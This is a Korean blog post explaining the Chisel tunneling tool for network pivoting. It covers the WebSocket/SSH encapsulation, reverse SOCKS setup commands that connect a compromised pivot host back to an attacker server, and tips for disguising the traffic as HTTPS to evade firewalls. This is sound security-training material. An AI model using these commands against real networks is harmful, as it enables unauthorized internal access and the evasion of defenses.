hhkb.dev

BLOG

2025-12-20 / 피버팅과터널링 · 12

Chisel 터널링

1. 개요

Chisel은 Golang으로 작성된 고성능 터널링 도구로, HTTP, 웹소켓(WebSocket) 프로토콜을 전송 계층으로 사용하여 방화벽을 우회하는 데 특화되어 있다.

기존 SSH 터널링과 유사한 기능을 제공하지만, SSH 트래픽(Port 22)이 차단되어 있거나 딥 패킷 분석(DPI)으로 인해 SSH 프로토콜 헤더가 탐지되는 환경에서 유용하다. Chisel은 모든 데이터를 SSH로 암호화한 뒤, 이를 HTTP/WebSocket 프레임으로 캡슐화하여 전송하므로, 외부에서 볼 때는 일반적인 웹 트래픽처럼 보인다.

2. 기술적 특징 및 원리

2.1 터널링 메커니즘

  1. 캡슐화 (Encapsulation): TCP/UDP 데이터를 SSH 프로토콜로 암호화한다.
  2. 전송 (Transport): 암호화된 데이터를 HTTP 헤더와 웹소켓 프레임에 실어 전송한다.
  3. 핸드쉐이크:
    • 클라이언트가 서버에 HTTP Upgrade 요청을 보낸다 (Connection: Upgrade, Upgrade: websocket).
    • 서버가 101 Switching Protocols 응답을 보내면 웹소켓 터널이 수립된다.
    • 이후 해당 터널 내부에서 SSH 핸드쉐이크가 이루어지며 데이터가 교환된다.

2.2 주요 기능

  • Reverse SOCKS: 피벗 호스트(Victim)에서 공격자(Attacker)로 역방향 연결을 맺은 뒤, 공격자 측에 SOCKS 프록시 포트를 생성해준다. (Reverse Dynamic Port Forwarding과 동일)
  • Multiplexing: 단일 웹소켓 연결 위에서 여러 세션을 함께 다룰 수 있다.

3. 구성과 연결 예시

3.1 Chisel 서버 (공격자)

공격자는 공인 IP(또는 피벗 호스트가 접근 가능한 IP)에서 서버 모드로 대기한다.

# -p: 리스닝 포트
# --reverse: 클라이언트로부터의 리버스 포트 포워딩 허용
./chisel server -p 8000 --reverse

3.2 Chisel 클라이언트 (피벗 호스트)

피벗 호스트는 공격자 서버에 접속하며 리버스 터널을 설정한다.

# 구문: ./chisel client [ServerIP]:[Port] R:[RemotePort]:socks
# 예시: 공격자(10.8.0.2:8000)에 접속하여, 공격자의 1080 포트에 SOCKS 프록시 생성
./chisel client 10.8.0.2:8000 R:1080:socks

3.3 통신 흐름

  1. Client(Pivot) -> Server(Attacker): HTTP/WebSocket 연결 수립 (TCP 8000).
  2. Server: 연결 수립 후 로컬(127.0.0.1)의 1080 포트를 SOCKS5 리스너로 바인딩.
  3. Attacker: ProxyChains 등을 이용해 127.0.0.1:1080으로 트래픽 전송.
  4. Traffic: 트래픽은 웹소켓 터널을 타고 Attacker -> Pivot -> Internal Network로 전달된다.

4. OpsSec 고려사항

  • 웹소켓 트래픽 위장: 일반적인 HTTPS(443) 포트를 사용하여 Chisel 서버를 구동하면, 방화벽이나 보안 장비가 이를 일반적인 암호화 웹 트래픽으로 오인할 가능성이 높다.
  • 핑거프린팅: 초기 핸드쉐이크 헤더나 배너는 별도 식별 포인트가 될 수 있다.
  • 바이너리 반입 리스크: 별도 실행 파일(chisel.exe 등)이 필요한 경우가 많아서, 호스트 보안 제품 탐지와 운영 리스크가 크다.